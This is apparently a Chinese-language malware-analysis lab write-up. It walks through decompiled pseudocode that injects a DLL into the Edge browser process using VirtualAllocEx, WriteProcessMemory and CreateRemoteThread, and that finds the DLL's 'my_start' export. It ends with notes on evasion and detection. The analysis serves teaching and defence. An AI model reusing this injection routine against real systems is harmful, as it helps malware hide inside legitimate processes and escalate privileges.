Simple Reverse - 0x21(2023 Lab - WinMalware - Extract Next Stage Payload - 3)

Simple Reverse - 0x21(2023 Lab - WinMalware - Extract Next Stage Payload - 3)

Background

Source code

  • Source Code sub_140001A60
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    __int64 __fastcall sub_140001A60(DWORD edge_pid, const void *pe_file, SIZE_T pe_file_size)
    {
      DWORD v4; // eax
      DWORD LastError; // eax
      HANDLE hProcess; // [rsp+40h] [rbp-38h]
      char *lpBaseAddress; // [rsp+48h] [rbp-30h]
      LPTHREAD_START_ROUTINE lpStartAddress; // [rsp+50h] [rbp-28h]
      __int64 v9; // [rsp+58h] [rbp-20h] BYREF
      DWORD ThreadId; // [rsp+60h] [rbp-18h] BYREF
    
      v9 = 0i64;
      sub_1400018F0(pe_file, &v9);
      if ( v9 )
      {
        hProcess = OpenProcess(0x43Au, 0, edge_pid);
        if ( hProcess )
        {
          lpBaseAddress = (char *)VirtualAllocEx(hProcess, 0i64, pe_file_size, 0x3000u, 0x40u);
          if ( WriteProcessMemory(hProcess, lpBaseAddress, pe_file, pe_file_size, 0i64) )
          {
            lpStartAddress = (LPTHREAD_START_ROUTINE)&lpBaseAddress[v9];
            CreateRemoteThread(hProcess, 0i64, 0i64, (LPTHREAD_START_ROUTINE)&lpBaseAddress[v9], 0i64, 0, &ThreadId);
            sub_140001260("remote thread id: %lu, loader address: %p", ThreadId, lpStartAddress);
            return 1i64;
          }
          else
          {
            LastError = GetLastError();
            sub_140001260("WriteProcessMemory failed, %lu", LastError);
            return 0i64;
          }
        }
        else
        {
          v4 = GetLastError();
          sub_140001260("OpenProcess failed, %lu", v4);
          return 0i64;
        }
      }
      else
      {
        sub_140001260("get_reflectivce_loader_offset failed\n");
        return 0i64;
      }
    }
    

Recon

  1. 首先看到他open我們剛剛拿到的edge process
  2. 利用VirtualAllocEx這個API主要可以在指定的process中malloc一塊記憶體,他的大小取決於pe_file_size,而該記憶體配置的類型是MEM_COMMIT+MEM_RESERVE(暫時不用管是甚麼),然後權限的話是設定0x40(PAGE_EXECUTE_READWRITE),就是可寫可執行
  3. #19的意思是說: 把pe_file的資料寫入lpBaseAddress的地方,總共寫入pe_file_size這麼多的大小
  4. #22的意思是把儲存在(LPTHREAD_START_ROUTINE)&lpBaseAddress[v9]這邊的東西跑起來

    → 在 Edge process 中建立 thread,thread 執行起點為 lpBaseAddress[v9]

目前為止的資訊


  1. 那甚麼是v9呢? 這個變數可以往回看#11~#12的地方,可以跟進去看
    1. 首先,#18的地方很明顯就是在取得export table,因為他拿的地方是在optional header的data directory[0],也就是export table。至於sub_140001410在幹嘛,簡單說就是把RVA轉回file offset的function
    2. #30~#46的地方就是像前一篇有講到的一樣,是memcmp("my_start", v13),仔細比對前面提到的memcmp("msedge.exe", process’s executable file name),結構幾乎一模一樣
    3. 有了第一部拿到的export table和第二步想要比對的"my_start"字串,通靈後可以想到他就是想要拿到名為my_start的DLL導出函數
    4. 至此,我們已經知道這一個function在做的事情就是去export table中找到my_start這個function後,回傳他的位址
      • sub_1400018F0 Source Code解析前
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
         __int64 __fastcall sub_1400018F0(__int64 pe_file, __int64 *a2)
         {
        IMAGE_NT_HEADERS *NtHdr; // rax
        __int64 result; // rax
        __int64 v4; // rax
        unsigned __int8 *v5; // rax
        char *v6; // rcx
        unsigned __int8 v7; // dl
        int v8; // eax
        unsigned __int16 v9; // [rsp+20h] [rbp-38h]
        int i; // [rsp+24h] [rbp-34h]
        unsigned int *v11; // [rsp+28h] [rbp-30h]
        unsigned __int64 v12; // [rsp+30h] [rbp-28h]
        unsigned __int8 *v13; // [rsp+38h] [rbp-20h]
        __int64 v14; // [rsp+40h] [rbp-18h]
        
        NtHdr = getNtHdr(pe_file);
        v11 = (unsigned int *)(sub_140001410(pe_file, NtHdr->OptionalHeader.DataDirectory[0].VirtualAddress) + pe_file);
        v12 = v11[6];
        for ( i = 0; ; ++i )
        {
          result = i;
          if ( i >= v12 )
            break;
          v4 = sub_140001410(pe_file, v11[8]);
          v13 = (unsigned __int8 *)(sub_140001410(pe_file, *(unsigned int *)(v4 + pe_file + 4i64 * i)) + pe_file);
          v9 = *(_WORD *)(sub_140001410(pe_file, v11[9]) + pe_file + 2i64 * i);
          v14 = *(unsigned int *)(sub_140001410(pe_file, v11[7]) + pe_file + 4i64 * v9);
          v5 = v13;
          v6 = (char *)("my_start" - (char *)v13);
          while ( 1 )
          {
            v7 = *v5;
            if ( *v5 != v6[(_QWORD)v5] )
              break;
            ++v5;
            if ( !v7 )
            {
              v8 = 0;
              goto LABEL_8;
            }
          }
          v8 = v7 < (unsigned int)v6[(_QWORD)v5] ? -1 : 1;
         LABEL_8:
          if ( !v8 )
          {
            result = sub_140001410(pe_file, v14);
            *a2 = result;
            return result;
          }
        }
        return result;
         }
        
    • sub_1400018F0 Source Code解析前
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
        unsigned __int64 __fastcall getMy_Start_ExportFunction(__int64 pe_file, unsigned __int64 *my_start_address_offset)
        {
          IMAGE_NT_HEADERS *NtHdr; // rax
          unsigned __int64 result; // rax
          unsigned __int64 name_array; // rax
          unsigned __int8 *v5; // rax
          char *v6; // rcx
          unsigned __int8 v7; // dl
          int v8; // eax
          unsigned __int16 name_ordinal; // [rsp+20h] [rbp-38h]
          int i; // [rsp+24h] [rbp-34h]
          IMAGE_EXPORT_DIRECTORY *exportTable; // [rsp+28h] [rbp-30h]
          unsigned __int64 NumberOfNames; // [rsp+30h] [rbp-28h]
          unsigned __int8 *fn_name; // [rsp+38h] [rbp-20h]
          unsigned __int64 fn_addr; // [rsp+40h] [rbp-18h]
      
          NtHdr = getNtHdr(pe_file);
          exportTable = (rva2FileOffset(pe_file, NtHdr->OptionalHeader.DataDirectory[0].VirtualAddress) + pe_file);
          NumberOfNames = exportTable->NumberOfNames;
          for ( i = 0; ; ++i )
          {
            result = i;
            if ( i >= NumberOfNames )
              break;
            name_array = rva2FileOffset(pe_file, exportTable->AddressOfNames);
            fn_name = (rva2FileOffset(pe_file, *(name_array + pe_file + 4i64 * i)) + pe_file);
            name_ordinal = *(rva2FileOffset(pe_file, exportTable->AddressOfNameOrdinals) + pe_file + 2i64 * i);
            fn_addr = *(rva2FileOffset(pe_file, exportTable->AddressOfFunctions) + pe_file + 4i64 * name_ordinal);
            v5 = fn_name;
            v6 = ("my_start" - fn_name);
            while ( 1 )
            {
              v7 = *v5;
              if ( *v5 != v6[v5] )
                break;
              ++v5;
              if ( !v7 )
              {
                v8 = 0;
                goto LABEL_8;
              }
            }
            v8 = v7 < v6[v5] ? -1 : 1;
        LABEL_8:
            if ( !v8 )
            {
              result = rva2FileOffset(pe_file, fn_addr);
              *my_start_address_offset = result;
              return result;
            }
          }
          return result;
        }
      

小節

至此,我們已經把主要程式都分析完了,大略流程如下

主要是後面的部分比較難分析,駭客主要的目的是把有問題的DLL file注入到msedge.exe這個process中並且建立一個thread,然後從my_start這個導出函數開始執行一些操作,這樣一個完整的流程就叫做==Process Injection==

這樣繞一大圈的用途

  • 不會建立獨立的 process,而是把惡意行為隱藏在正常 process 中,以躲避 process 級別的偵測
  • 若能注入高權限 process,則有機會提權

防禦手法

  • 常用 API:VirtualAllocEx、WriteProcessMemory、CreateRemoteThread
  • 一般程式較少對其他 process 做寫入和建立 thread,使用這些 API 十分容易被偵測